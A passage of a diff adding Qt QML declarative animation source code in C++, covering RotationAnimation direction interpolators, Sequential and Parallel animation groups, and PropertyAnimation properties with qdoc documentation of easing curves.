+ return d->from.value<QVector3D>();
+}
+
+void QDeclarativeVector3dAnimation::setFrom(QVector3D f)
+{
+ QDeclarativePropertyAnimation::setFrom(f);
+}
+
+/*!
+ \qmlproperty real Vector3dAnimation::to
+ This property holds the end value for the animation.
+
+ If the Vector3dAnimation is defined within a \l Transition or \l Behavior,
+ this value defaults to the value defined in the end state of the
+ \l Transition, or the value of the property change that triggered the
+ \l Behavior.
+
+ \sa {QML Animation and Transitions}
+*/
+QVector3D QDeclarativeVector3dAnimation::to() const
+{
+ Q_D(const QDeclarativePropertyAnimation);
+ return d->to.value<QVector3D>();
+}
+
+void QDeclarativeVector3dAnimation::setTo(QVector3D t)
+{
+ QDeclarativePropertyAnimation::setTo(t);
+}
+
+
+
+/*!
+ \qmlclass RotationAnimation QDeclarativeRotationAnimation
+ \ingroup qml-animation-transition
+ \since 4.7
+ \inherits PropertyAnimation
+ \brief The RotationAnimation element animates changes in rotation values.
+
+ RotationAnimation is a specialized PropertyAnimation that gives control
+ over the direction of rotation during an animation.
+
+ By default, it rotates in the direction
+ of the numerical change; a rotation from 0 to 240 will rotate 240 degrees
+ clockwise, while a rotation from 240 to 0 will rotate 240 degrees
+ counterclockwise. The \l direction property can be set to specify the
+ direction in which the rotation should occur.
+
+ In the following example we use RotationAnimation to animate the rotation
+ between states via the shortest path:
+
+ \snippet doc/src/snippets/declarative/rotationanimation.qml 0
+
+ Notice the RotationAnimation did not need to set a \l target
+ value. As a convenience, when used in a transition, RotationAnimation will rotate all
+ properties named "rotation" or "angle". You can override this by providing
+ your own properties via \l {PropertyAnimation::properties}{properties} or
+ \l {PropertyAnimation::property}{property}.
+
+ Also, note the \l Rectangle will be rotated around its default
+ \l {Item::}{transformOrigin} (which is \c Item.Center). To use a different
+ transform origin, set the origin in the PropertyChanges object and apply
+ the change at the start of the animation using PropertyAction. See the
+ PropertyAction documentation for more details.
+
+ Like any other animation element, a RotationAnimation can be applied in a
+ number of ways, including transitions, behaviors and property value
+ sources. The \l {QML Animation and Transitions} documentation shows a
+ variety of methods for creating animations.
+
+ \sa {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example}
+*/
+QVariant _q_interpolateShortestRotation(qreal &f, qreal &t, qreal progress)
+{
+ qreal newt = t;
+ qreal diff = t-f;
+ while(diff > 180.0){
+ newt -= 360.0;
+ diff -= 360.0;
+ }
+ while(diff < -180.0){
+ newt += 360.0;
+ diff += 360.0;
+ }
+ return QVariant(f + (newt - f) * progress);
+}
+
+QVariant _q_interpolateClockwiseRotation(qreal &f, qreal &t, qreal progress)
+{
+ qreal newt = t;
+ qreal diff = t-f;
+ while(diff < 0.0){
+ newt += 360.0;
+ diff += 360.0;
+ }
+ return QVariant(f + (newt - f) * progress);
+}
+
+QVariant _q_interpolateCounterclockwiseRotation(qreal &f, qreal &t, qreal progress)
+{
+ qreal newt = t;
+ qreal diff = t-f;
+ while(diff > 0.0){
+ newt -= 360.0;
+ diff -= 360.0;
+ }
+ return QVariant(f + (newt - f) * progress);
+}
+
+QDeclarativeRotationAnimation::QDeclarativeRotationAnimation(QObject *parent)
+: QDeclarativePropertyAnimation(*(new QDeclarativeRotationAnimationPrivate), parent)
+{
+ Q_D(QDeclarativeRotationAnimation);
+ d->interpolatorType = QMetaType::QReal;
+ d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType);
+ d->defaultProperties = QLatin1String("rotation,angle");
+}
+
+QDeclarativeRotationAnimation::~QDeclarativeRotationAnimation()
+{
+}
+
+/*!
+ \qmlproperty real RotationAnimation::from
+ This property holds the starting value for the animation.
+
+ For example, the following animation is not applied until the \c angle value
+ has reached 100:
+
+ \qml
+ Item {
+ states: [
+ // ...
+ ]
+
+ transition: Transition {
+ RotationAnimation { properties: "angle"; from: 100; duration: 2000 }
+ }
+ }
+ \endqml
+
+ If the RotationAnimation is defined within a \l Transition or \l Behavior,
+ this value defaults to the value defined in the starting state of the
+ \l Transition, or the current value of the property at the moment the
+ \l Behavior is triggered.
+
+ \sa {QML Animation and Transitions}
+*/
+qreal QDeclarativeRotationAnimation::from() const
+{
+ Q_D(const QDeclarativeRotationAnimation);
+ return d->from.toReal();
+}
+
+void QDeclarativeRotationAnimation::setFrom(qreal f)
+{
+ QDeclarativePropertyAnimation::setFrom(f);
+}
+
+/*!
+ \qmlproperty real RotationAnimation::to
+ This property holds the end value for the animation..
+
+ If the RotationAnimation is defined within a \l Transition or \l Behavior,
+ this value defaults to the value defined in the end state of the
+ \l Transition, or the value of the property change that triggered the
+ \l Behavior.
+
+ \sa {QML Animation and Transitions}
+*/
+qreal QDeclarativeRotationAnimation::to() const
+{
+ Q_D(const QDeclarativeRotationAnimation);
+ return d->to.toReal();
+}
+
+void QDeclarativeRotationAnimation::setTo(qreal t)
+{
+ QDeclarativePropertyAnimation::setTo(t);
+}
+
+/*!
+ \qmlproperty enumeration RotationAnimation::direction
+ This property holds the direction of the rotation.
+
+ Possible values are:
+
+ \list
+ \o RotationAnimation.Numerical (default) - Rotate by linearly interpolating between the two numbers.
+ A rotation from 10 to 350 will rotate 340 degrees clockwise.
+ \o RotationAnimation.Clockwise - Rotate clockwise between the two values
+ \o RotationAnimation.Counterclockwise - Rotate counterclockwise between the two values
+ \o RotationAnimation.Shortest - Rotate in the direction that produces the shortest animation path.
+ A rotation from 10 to 350 will rotate 20 degrees counterclockwise.
+ \endlist
+*/
+QDeclarativeRotationAnimation::RotationDirection QDeclarativeRotationAnimation::direction() const
+{
+ Q_D(const QDeclarativeRotationAnimation);
+ return d->direction;
+}
+
+void QDeclarativeRotationAnimation::setDirection(QDeclarativeRotationAnimation::RotationDirection direction)
+{
+ Q_D(QDeclarativeRotationAnimation);
+ if (d->direction == direction)
+ return;
+
+ d->direction = direction;
+ switch(d->direction) {
+ case Clockwise:
+ d->interpolator = reinterpret_cast<QVariantAnimation::Interpolator>(&_q_interpolateClockwiseRotation);
+ break;
+ case Counterclockwise:
+ d->interpolator = reinterpret_cast<QVariantAnimation::Interpolator>(&_q_interpolateCounterclockwiseRotation);
+ break;
+ case Shortest:
+ d->interpolator = reinterpret_cast<QVariantAnimation::Interpolator>(&_q_interpolateShortestRotation);
+ break;
+ default:
+ d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType);
+ break;
+ }
+
+ emit directionChanged();
+}
+
+
+
+QDeclarativeAnimationGroup::QDeclarativeAnimationGroup(QObject *parent)
+: QDeclarativeAbstractAnimation(*(new QDeclarativeAnimationGroupPrivate), parent)
+{
+}
+
+QDeclarativeAnimationGroup::QDeclarativeAnimationGroup(QDeclarativeAnimationGroupPrivate &dd, QObject *parent)
+ : QDeclarativeAbstractAnimation(dd, parent)
+{
+}
+
+void QDeclarativeAnimationGroupPrivate::append_animation(QDeclarativeListProperty<QDeclarativeAbstractAnimation> *list, QDeclarativeAbstractAnimation *a)
+{
+ QDeclarativeAnimationGroup *q = qobject_cast<QDeclarativeAnimationGroup *>(list->object);
+ if (q) {
+ a->setGroup(q);
+ // This is an optimization for the parenting that already occurs via addAnimation
+ QDeclarative_setParent_noEvent(a->qtAnimation(), q->d_func()->ag);
+ q->d_func()->ag->addAnimation(a->qtAnimation());
+ }
+}
+
+void QDeclarativeAnimationGroupPrivate::clear_animation(QDeclarativeListProperty<QDeclarativeAbstractAnimation> *list)
+{
+ QDeclarativeAnimationGroup *q = qobject_cast<QDeclarativeAnimationGroup *>(list->object);
+ if (q) {
+ while (q->d_func()->animations.count()) {
+ QDeclarativeAbstractAnimation *firstAnim = q->d_func()->animations.at(0);
+ QDeclarative_setParent_noEvent(firstAnim->qtAnimation(), 0);
+ q->d_func()->ag->removeAnimation(firstAnim->qtAnimation());
+ firstAnim->setGroup(0);
+ }
+ }
+}
+
+QDeclarativeAnimationGroup::~QDeclarativeAnimationGroup()
+{
+}
+
+QDeclarativeListProperty<QDeclarativeAbstractAnimation> QDeclarativeAnimationGroup::animations()
+{
+ Q_D(QDeclarativeAnimationGroup);
+ QDeclarativeListProperty<QDeclarativeAbstractAnimation> list(this, d->animations);
+ list.append = &QDeclarativeAnimationGroupPrivate::append_animation;
+ list.clear = &QDeclarativeAnimationGroupPrivate::clear_animation;
+ return list;
+}
+
+/*!
+ \qmlclass SequentialAnimation QDeclarativeSequentialAnimation
+ \ingroup qml-animation-transition
+ \since 4.7
+ \inherits Animation
+ \brief The SequentialAnimation element allows animations to be run sequentially.
+
+ The SequentialAnimation and ParallelAnimation elements allow multiple
+ animations to be run together. Animations defined in a SequentialAnimation
+ are run one after the other, while animations defined in a ParallelAnimation
+ are run at the same time.
+
+ The following example runs two number animations in a sequence. The \l Rectangle
+ animates to a \c x position of 50, then to a \c y position of 50.
+
+ \snippet doc/src/snippets/declarative/sequentialanimation.qml 0
+
+ Animations defined within a \l Transition are automatically run in parallel,
+ so SequentialAnimation can be used to enclose the animations in a \l Transition
+ if this is the preferred behavior.
+
+ Like any other animation element, a SequentialAnimation can be applied in a
+ number of ways, including transitions, behaviors and property value
+ sources. The \l {QML Animation and Transitions} documentation shows a
+ variety of methods for creating animations.
+
+ \note Once an animation has been grouped into a SequentialAnimation or
+ ParallelAnimation, it cannot be individually started and stopped; the
+ SequentialAnimation or ParallelAnimation must be started and stopped as a group.
+
+ \sa ParallelAnimation, {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example}
+*/
+
+QDeclarativeSequentialAnimation::QDeclarativeSequentialAnimation(QObject *parent) :
+ QDeclarativeAnimationGroup(parent)
+{
+ Q_D(QDeclarativeAnimationGroup);
+ d->ag = new QSequentialAnimationGroup;
+ QDeclarative_setParent_noEvent(d->ag, this);
+}
+
+QDeclarativeSequentialAnimation::~QDeclarativeSequentialAnimation()
+{
+}
+
+QAbstractAnimation *QDeclarativeSequentialAnimation::qtAnimation()
+{
+ Q_D(QDeclarativeAnimationGroup);
+ return d->ag;
+}
+
+void QDeclarativeSequentialAnimation::transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction)
+{
+ Q_D(QDeclarativeAnimationGroup);
+
+ int inc = 1;
+ int from = 0;
+ if (direction == Backward) {
+ inc = -1;
+ from = d->animations.count() - 1;
+ }
+
+ bool valid = d->defaultProperty.isValid();
+ for (int ii = from; ii < d->animations.count() && ii >= 0; ii += inc) {
+ if (valid)
+ d->animations.at(ii)->setDefaultTarget(d->defaultProperty);
+ d->animations.at(ii)->transition(actions, modified, direction);
+ }
+}
+
+
+
+/*!
+ \qmlclass ParallelAnimation QDeclarativeParallelAnimation
+ \ingroup qml-animation-transition
+ \since 4.7
+ \inherits Animation
+ \brief The ParallelAnimation element allows animations to be run in parallel.
+
+ The SequentialAnimation and ParallelAnimation elements allow multiple
+ animations to be run together. Animations defined in a SequentialAnimation
+ are run one after the other, while animations defined in a ParallelAnimation
+ are run at the same time.
+
+ The following animation runs two number animations in parallel. The \l Rectangle
+ moves to (50,50) by animating its \c x and \c y properties at the same time.
+
+ \snippet doc/src/snippets/declarative/parallelanimation.qml 0
+
+ Like any other animation element, a ParallelAnimation can be applied in a
+ number of ways, including transitions, behaviors and property value
+ sources. The \l {QML Animation and Transitions} documentation shows a
+ variety of methods for creating animations.
+
+ \note Once an animation has been grouped into a SequentialAnimation or
+ ParallelAnimation, it cannot be individually started and stopped; the
+ SequentialAnimation or ParallelAnimation must be started and stopped as a group.
+
+ \sa SequentialAnimation, {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example}
+*/
+QDeclarativeParallelAnimation::QDeclarativeParallelAnimation(QObject *parent) :
+ QDeclarativeAnimationGroup(parent)
+{
+ Q_D(QDeclarativeAnimationGroup);
+ d->ag = new QParallelAnimationGroup;
+ QDeclarative_setParent_noEvent(d->ag, this);
+}
+
+QDeclarativeParallelAnimation::~QDeclarativeParallelAnimation()
+{
+}
+
+QAbstractAnimation *QDeclarativeParallelAnimation::qtAnimation()
+{
+ Q_D(QDeclarativeAnimationGroup);
+ return d->ag;
+}
+
+void QDeclarativeParallelAnimation::transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction)
+{
+ Q_D(QDeclarativeAnimationGroup);
+ bool valid = d->defaultProperty.isValid();
+ for (int ii = 0; ii < d->animations.count(); ++ii) {
+ if (valid)
+ d->animations.at(ii)->setDefaultTarget(d->defaultProperty);
+ d->animations.at(ii)->transition(actions, modified, direction);
+ }
+}
+
+
+
+//convert a variant from string type to another animatable type
+void QDeclarativePropertyAnimationPrivate::convertVariant(QVariant &variant, int type)
+{
+ if (variant.userType() != QVariant::String) {
+ variant.convert((QVariant::Type)type);
+ return;
+ }
+
+ switch (type) {
+ case QVariant::Rect: {
+ variant.setValue(QDeclarativeStringConverters::rectFFromString(variant.toString()).toRect());
+ break;
+ }
+ case QVariant::RectF: {
+ variant.setValue(QDeclarativeStringConverters::rectFFromString(variant.toString()));
+ break;
+ }
+ case QVariant::Point: {
+ variant.setValue(QDeclarativeStringConverters::pointFFromString(variant.toString()).toPoint());
+ break;
+ }
+ case QVariant::PointF: {
+ variant.setValue(QDeclarativeStringConverters::pointFFromString(variant.toString()));
+ break;
+ }
+ case QVariant::Size: {
+ variant.setValue(QDeclarativeStringConverters::sizeFFromString(variant.toString()).toSize());
+ break;
+ }
+ case QVariant::SizeF: {
+ variant.setValue(QDeclarativeStringConverters::sizeFFromString(variant.toString()));
+ break;
+ }
+ case QVariant::Color: {
+ variant.setValue(QDeclarativeStringConverters::colorFromString(variant.toString()));
+ break;
+ }
+ case QVariant::Vector3D: {
+ variant.setValue(QDeclarativeStringConverters::vector3DFromString(variant.toString()));
+ break;
+ }
+ default:
+ if (QDeclarativeValueTypeFactory::isValueType((uint)type)) {
+ variant.convert((QVariant::Type)type);
+ } else {
+ QDeclarativeMetaType::StringConverter converter = QDeclarativeMetaType::customStringConverter(type);
+ if (converter)
+ variant = converter(variant.toString());
+ }
+ break;
+ }
+}
+
+/*!
+ \qmlclass PropertyAnimation QDeclarativePropertyAnimation
+ \ingroup qml-animation-transition
+ \since 4.7
+ \inherits Animation
+ \brief The PropertyAnimation element animates changes in property values.
+
+ PropertyAnimation provides a way to animate changes to a property's value.
+
+ It can be used to define animations in a number of ways:
+
+ \list
+ \o In a \l Transition
+
+ For example, to animate any objects that have changed their \c x or \c y properties
+ as a result of a state change, using an \c InOutQuad easing curve:
+
+ \snippet doc/src/snippets/declarative/propertyanimation.qml transition
+
+
+ \o In a \l Behavior
+
+ For example, to animate all changes to a rectangle's \c x property:
+
+ \snippet doc/src/snippets/declarative/propertyanimation.qml behavior
+
+
+ \o As a property value source
+
+ For example, to repeatedly animate the rectangle's \c x property:
+
+ \snippet doc/src/snippets/declarative/propertyanimation.qml propertyvaluesource
+
+
+ \o In a signal handler
+
+ For example, to fade out \c theObject when clicked:
+ \qml
+ MouseArea {
+ anchors.fill: theObject
+ onClicked: PropertyAnimation { target: theObject; property: "opacity"; to: 0 }
+ }
+ \endqml
+
+ \o Standalone
+
+ For example, to animate \c rect's \c width property over 500ms, from its current width to 30:
+
+ \snippet doc/src/snippets/declarative/propertyanimation.qml standalone
+
+ \endlist
+
+ Depending on how the animation is used, the set of properties normally used will be
+ different. For more information see the individual property documentation, as well
+ as the \l{QML Animation and Transitions} introduction.
+
+ Note that PropertyAnimation inherits the abstract \l Animation element.
+ This includes additional properties and methods for controlling the animation.
+
+ \sa {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example}
+*/
+
+QDeclarativePropertyAnimation::QDeclarativePropertyAnimation(QObject *parent)
+: QDeclarativeAbstractAnimation(*(new QDeclarativePropertyAnimationPrivate), parent)
+{
+ Q_D(QDeclarativePropertyAnimation);
+ d->init();
+}
+
+QDeclarativePropertyAnimation::QDeclarativePropertyAnimation(QDeclarativePropertyAnimationPrivate &dd, QObject *parent)
+: QDeclarativeAbstractAnimation(dd, parent)
+{
+ Q_D(QDeclarativePropertyAnimation);
+ d->init();
+}
+
+QDeclarativePropertyAnimation::~QDeclarativePropertyAnimation()
+{
+}
+
+void QDeclarativePropertyAnimationPrivate::init()
+{
+ Q_Q(QDeclarativePropertyAnimation);
+ va = new QDeclarativeBulkValueAnimator;
+ QDeclarative_setParent_noEvent(va, q);
+}
+
+/*!
+ \qmlproperty int PropertyAnimation::duration
+ This property holds the duration of the animation, in milliseconds.
+
+ The default value is 250.
+*/
+int QDeclarativePropertyAnimation::duration() const
+{
+ Q_D(const QDeclarativePropertyAnimation);
+ return d->va->duration();
+}
+
+void QDeclarativePropertyAnimation::setDuration(int duration)
+{
+ if (duration < 0) {
+ qmlInfo(this) << tr("Cannot set a duration of < 0");
+ return;
+ }
+
+ Q_D(QDeclarativePropertyAnimation);
+ if (d->va->duration() == duration)
+ return;
+ d->va->setDuration(duration);
+ emit durationChanged(duration);
+}
+
+/*!
+ \qmlproperty real PropertyAnimation::from
+ This property holds the starting value for the animation.
+
+ If the PropertyAnimation is defined within a \l Transition or \l Behavior,
+ this value defaults to the value defined in the starting state of the
+ \l Transition, or the current value of the property at the moment the
+ \l Behavior is triggered.
+
+ \sa {QML Animation and Transitions}
+*/
+QVariant QDeclarativePropertyAnimation::from() const
+{
+ Q_D(const QDeclarativePropertyAnimation);
+ return d->from;
+}
+
+void QDeclarativePropertyAnimation::setFrom(const QVariant &f)
+{
+ Q_D(QDeclarativePropertyAnimation);
+ if (d->fromIsDefined && f == d->from)
+ return;
+ d->from = f;
+ d->fromIsDefined = f.isValid();
+ emit fromChanged(f);
+}
+
+/*!
+ \qmlproperty real PropertyAnimation::to
+ This property holds the end value for the animation.
+
+ If the PropertyAnimation is defined within a \l Transition or \l Behavior,
+ this value defaults to the value defined in the end state of the
+ \l Transition, or the value of the property change that triggered the
+ \l Behavior.
+
+ \sa {QML Animation and Transitions}
+*/
+QVariant QDeclarativePropertyAnimation::to() const
+{
+ Q_D(const QDeclarativePropertyAnimation);
+ return d->to;
+}
+
+void QDeclarativePropertyAnimation::setTo(const QVariant &t)
+{
+ Q_D(QDeclarativePropertyAnimation);
+ if (d->toIsDefined && t == d->to)
+ return;
+ d->to = t;
+ d->toIsDefined = t.isValid();
+ emit toChanged(t);
+}
+
+/*!
+ \qmlproperty enumeration PropertyAnimation::easing.type
+ \qmlproperty real PropertyAnimation::easing.amplitude
+ \qmlproperty real PropertyAnimation::easing.overshoot
+ \qmlproperty real PropertyAnimation::easing.period
+ \brief the easing curve used for the animation.
+
+ To specify an easing curve you need to specify at least the type. For some curves you can also specify
+ amplitude, period and/or overshoot (more details provided after the table). The default easing curve is
+ \c Easing.Linear.
+
+ \qml
+ PropertyAnimation { properties: "y"; easing.type: Easing.InOutElastic; easing.amplitude: 2.0; easing.period: 1.5 }
+ \endqml
+
+ Available types are:
+
+ \table
+ \row
+ \o \c Easing.Linear
+ \o Easing curve for a linear (t) function: velocity is constant.
+ \o \inlineimage qeasingcurve-linear.png
+ \row
+ \o \c Easing.InQuad
+ \o Easing curve for a quadratic (t^2) function: accelerating from zero velocity.
+ \o \inlineimage qeasingcurve-inquad.png
+ \row
+ \o \c Easing.OutQuad
+ \o Easing curve for a quadratic (t^2) function: decelerating to zero velocity.
+ \o \inlineimage qeasingcurve-outquad.png
+ \row
+ \o \c Easing.InOutQuad
+ \o Easing curve for a quadratic (t^2) function: acceleration until halfway, then deceleration.
+ \o \inlineimage qeasingcurve-inoutquad.png
+ \row
+ \o \c Easing.OutInQuad
+ \o Easing curve for a quadratic (t^2) function: deceleration until halfway, then acceleration.
+ \o \inlineimage qeasingcurve-outinquad.png
+ \row
+ \o \c Easing.InCubic
+ \o Easing curve for a cubic (t^3) function: accelerating from zero velocity.
+ \o \inlineimage qeasingcurve-incubic.png
+ \row
+ \o \c Easing.OutCubic
+ \o Easing curve for a cubic (t^3) function: decelerating from zero velocity.
+ \o \inlineimage qeasingcurve-outcubic.png
+ \row
+ \o \c Easing.InOutCubic
+ \o Easing curve for a cubic (t^3) function: acceleration until halfway, then deceleration.
+ \o \inlineimage qeasingcurve-inoutcubic.png
+ \row
+ \o \c Easing.OutInCubic
+ \o Easing curve for a cubic (t^3) function: deceleration until halfway, then acceleration.
+ \o \inlineimage qeasingcurve-outincubic.png
+ \row
+ \o \c Easing.InQuart
+ \o Easing curve for a quartic (t^4) function: accelerating from zero velocity.
+ \o \inlineimage qeasingcurve-inquart.png
+ \row
+ \o \c Easing.OutQuart
+ \o Easing curve for a quartic (t^4) function: decelerating from zero velocity.
+ \o \inlineimage qeasingcurve-outquart.png
+ \row
+ \o \c Easing.InOutQuart
+ \o Easing curve for a quartic (t^4) function: acceleration until halfway, then deceleration.
+ \o \inlineimage qeasingcurve-inoutquart.png
+ \row
+ \o \c Easing.OutInQuart
+ \o Easing curve for a quartic (t^4) function: deceleration until halfway, then acceleration.
+ \o \inlineimage qeasingcurve-outinquart.png
+ \row
+ \o \c Easing.InQuint
+ \o Easing curve for a quintic (t^5) function: accelerating from zero velocity.
+ \o \inlineimage qeasingcurve-inquint.png
+ \row
+ \o \c Easing.OutQuint
+ \o Easing curve for a quintic (t^5) function: decelerating from zero velocity.
+ \o \inlineimage qeasingcurve-outquint.png
+ \row
+ \o \c Easing.InOutQuint
+ \o Easing curve for a quintic (t^5) function: acceleration until halfway, then deceleration.
+ \o \inlineimage qeasingcurve-inoutquint.png
+ \row
+ \o \c Easing.OutInQuint
+ \o Easing curve for a quintic (t^5) function: deceleration until halfway, then acceleration.
+ \o \inlineimage qeasingcurve-outinquint.png
+ \row
+ \o \c Easing.InSine
+ \o Easing curve for a sinusoidal (sin(t)) function: accelerating from zero velocity.
+ \o \inlineimage qeasingcurve-insine.png
+ \row
+ \o \c Easing.OutSine
+ \o Easing curve for a sinusoidal (sin(t)) function: decelerating from zero velocity.
+ \o \inlineimage qeasingcurve-outsine.png
+ \row
+ \o \c Easing.InOutSine
+ \o Easing curve for a sinusoidal (sin(t)) function: acceleration until halfway, then deceleration.
+ \o \inlineimage qeasingcurve-inoutsine.png
+ \row
+ \o \c Easing.OutInSine
+ \o Easing curve for a sinusoidal (sin(t)) function: deceleration until halfway, then acceleration.
+ \o \inlineimage qeasingcurve-outinsine.png
+ \row
+ \o \c Easing.InExpo
+ \o Easing curve for an exponential (2^t) function: accelerating from zero velocity.
+ \o \inlineimage qeasingcurve-inexpo.png
+ \row
+ \o \c Easing.OutExpo
+ \o Easing curve for an exponential (2^t) function: decelerating from zero velocity.
+ \o \inlineimage qeasingcurve-outexpo.png
+ \row
+ \o \c Easing.InOutExpo
+ \o Easing curve for an exponential (2^t) function: acceleration until halfway, then deceleration.
+ \o \inlineimage qeasingcurve-inoutexpo.png
+ \row
+ \o \c Easing.OutInExpo
+ \o Easing curve for an exponential (2^t) function: deceleration until halfway, then acceleration.
+ \o \inlineimage qeasingcurve-outinexpo.png
+ \row
+ \o \c Easing.InCirc
+ \o Easing curve for a circular (sqrt(1-t^2)) function: accelerating from zero velocity.
+ \o \inlineimage qeasingcurve-incirc.png
+ \row
+ \o \c Easing.OutCirc
+ \o Easing curve for a circular (sqrt(1-t^2)) function: decelerating from zero velocity.
+ \o \inlineimage qeasingcurve-outcirc.png
+ \row
+ \o \c Easing.InOutCirc
+ \o Easing curve for a circular (sqrt(1-t^2)) function: acceleration until halfway, then deceleration.
+ \o \inlineimage qeasingcurve-inoutcirc.png
+ \row
+ \o \c Easing.OutInCirc
+ \o Easing curve for a circular (sqrt(1-t^2)) function: deceleration until halfway, then acceleration.
+ \o \inlineimage qeasingcurve-outincirc.png
+ \row
+ \o \c Easing.InElastic
+ \o Easing curve for an elastic (exponentially decaying sine wave) function: accelerating from zero velocity.
+ \br The peak amplitude can be set with the \e amplitude parameter, and the period of decay by the \e period parameter.
+ \o \inlineimage qeasingcurve-inelastic.png
+ \row
+ \o \c Easing.OutElastic
+ \o Easing curve for an elastic (exponentially decaying sine wave) function: decelerating from zero velocity.
+ \br The peak amplitude can be set with the \e amplitude parameter, and the period of decay by the \e period parameter.
+ \o \inlineimage qeasingcurve-outelastic.png
+ \row
+ \o \c Easing.InOutElastic
+ \o Easing curve for an elastic (exponentially decaying sine wave) function: acceleration until halfway, then deceleration.
+ \o \inlineimage qeasingcurve-inoutelastic.png
+ \row
+ \o \c Easing.OutInElastic
+ \o Easing curve for an elastic (exponentially decaying sine wave) function: deceleration until halfway, then acceleration.
+ \o \inlineimage qeasingcurve-outinelastic.png
+ \row
+ \o \c Easing.InBack
+ \o Easing curve for a back (overshooting cubic function: (s+1)*t^3 - s*t^2) easing in: accelerating from zero velocity.
+ \o \inlineimage qeasingcurve-inback.png
+ \row
+ \o \c Easing.OutBack
+ \o Easing curve for a back (overshooting cubic function: (s+1)*t^3 - s*t^2) easing out: decelerating to zero velocity.
+ \o \inlineimage qeasingcurve-outback.png
+ \row
+ \o \c Easing.InOutBack
+ \o Easing curve for a back (overshooting cubic function: (s+1)*t^3 - s*t^2) easing in/out: acceleration until halfway, then deceleration.
+ \o \inlineimage qeasingcurve-inoutback.png
+ \row
+ \o \c Easing.OutInBack
+ \o Easing curve for a back (overshooting cubic easing: (s+1)*t^3 - s*t^2) easing out/in: deceleration until halfway, then acceleration.
+ \o \inlineimage qeasingcurve-outinback.png
+ \row
+ \o \c Easing.InBounce
+ \o Easing curve for a bounce (exponentially decaying parabolic bounce) function: accelerating from zero velocity.
+ \o \inlineimage qeasingcurve-inbounce.png
+ \row
+ \o \c Easing.OutBounce
+ \o Easing curve for a bounce (exponentially decaying parabolic bounce) function: decelerating from zero velocity.
+ \o \inlineimage qeasingcurve-outbounce.png
+ \row
+ \o \c Easing.InOutBounce
+ \o Easing curve for a bounce (exponentially decaying parabolic bounce) function easing in/out: acceleration until halfway, then deceleration.
+ \o \inlineimage qeasingcurve-inoutbounce.png
+ \row
+ \o \c Easing.OutInBounce
+ \o Easing curve for a bounce (exponentially decaying parabolic bounce) function easing out/in: deceleration until halfway, then acceleration.
+ \o \inlineimage qeasingcurve-outinbounce.png
+ \endtable
+
+ \c easing.amplitude is only applicable for bounce and elastic curves (curves of type
+ \c Easing.InBounce, \c Easing.OutBounce, \c Easing.InOutBounce, \c Easing.OutInBounce, \c Easing.InElastic,
+ \c Easing.OutElastic, \c Easing.InOutElastic or \c Easing.OutInElastic).
+
+ \c easing.overshoot is only applicable if \c easing.type is: \c Easing.InBack, \c Easing.OutBack,
+ \c Easing.InOutBack or \c Easing.OutInBack.
+
+ \c easing.period is only applicable if easing.type is: \c Easing.InElastic, \c Easing.OutElastic,
+ \c Easing.InOutElastic or \c Easing.OutInElastic.
+
+ See the \l {declarative/animation/easing}{easing} example for a demonstration of
+ the different easing settings.
+*/
+QEasingCurve QDeclarativePropertyAnimation::easing() const
+{
+ Q_D(const QDeclarativePropertyAnimation);
+ return d->va->easingCurve();
+}
+
+void QDeclarativePropertyAnimation::setEasing(const QEasingCurve &e)
+{
+ Q_D(QDeclarativePropertyAnimation);
+ if (d->va->easingCurve() == e)
+ return;
+
+ d->va->setEasingCurve(e);
+ emit easingChanged(e);
+}
+
+QObject *QDeclarativePropertyAnimation::target() const
+{
+ Q_D(const QDeclarativePropertyAnimation);
+ return d->target;
+}
+
+void QDeclarativePropertyAnimation::setTarget(QObject *o)
+{
+ Q_D(QDeclarativePropertyAnimation);
+ if (d->target == o)
+ return;
+ d->target = o;
+ emit targetChanged();
+}
+
+QString QDeclarativePropertyAnimation::property() const
+{
+ Q_D(const QDeclarativePropertyAnimation);
+ return d->propertyName;
+}
+
+void QDeclarativePropertyAnimation::setProperty(const QString &n)
+{
+ Q_D(QDeclarativePropertyAnimation);
+ if (d->propertyName == n)
+ return;
+ d->propertyName = n;
+ emit propertyChanged();
+}
+
+QString QDeclarativePropertyAnimation::properties() const
+{
+ Q_D(const QDeclarativePropertyAnimation);
+ return d->properties;
+}
+
+void QDeclarativePropertyAnimation::setProperties(const QString &prop)
+{
+ Q_D(QDeclarativePropertyAnimation);
+ if (d->properties == prop)
+ return;
+
+ d->properties = prop;
+ emit propertiesChanged(prop);
+}
+
+/*!
+ \qmlproperty string PropertyAnimation::properties
+ \qmlproperty list<Object> PropertyAnimation::targets
+ \qmlproperty string PropertyAnimation::property
+ \qmlproperty Object PropertyAnimation::target
+
+ These properties are used as a set to determine which properties should be animated.
+ The singular and plural forms are functionally identical, e.g.
+ \qml
+ NumberAnimation { target: theItem; property: "x"; to: 500 }
+ \endqml
+ has the same meaning as
+ \qml
+ NumberAnimation { targets: theItem; properties: "x"; to: 500 }
+ \endqml
+ The singular forms are slightly optimized, so if you do have only a single target/property
+ to animate you should try to use them.
+
+ The \c targets property allows multiple targets to be set. For example, this animates the
+ \c x property of both \c itemA and \c itemB:
+
+ \qml
+ NumberAnimation { targets: [itemA, itemB]; properties: "x"; to: 500 }
+ \endqml
+
+ In many cases these properties do not need to be explicitly specified, as they can be
+ inferred from the animation framework:
+
+ \table 80%
+ \row
+ \o Value Source / Behavior
+ \o When an animation is used as a value source or in a Behavior, the default target and property
+ name to be animated can both be inferred.
+ \qml
+ Rectangle {
+ id: theRect
+ width: 100; height: 100
+ color: Qt.rgba(0,0,1)
+ NumberAnimation on x { to: 500; loops: Animation.Infinite } //animate theRect's x property
+ Behavior on y { NumberAnimation {} } //animate theRect's y property
+ }
+ \endqml
+ \row
+ \o Transition
+ \o When used in a transition, a property animation is assumed to match \e all targets
+ but \e no properties. In practice, that means you need to specify at least the properties
+ in order for the animation to do anything.
+ \qml
+ Rectangle {
+ id: theRect
+ width: 100; height: 100
+ color: Qt.rgba(0,0,1)
+ Item { id: uselessItem }
+ states: State {
+ name: "state1"
+ PropertyChanges { target: theRect; x: 200; y: 200; z: 4 }
+ PropertyChanges { target: uselessItem; x: 10; y: 10; z: 2 }
+ }
+ transitions: Transition {
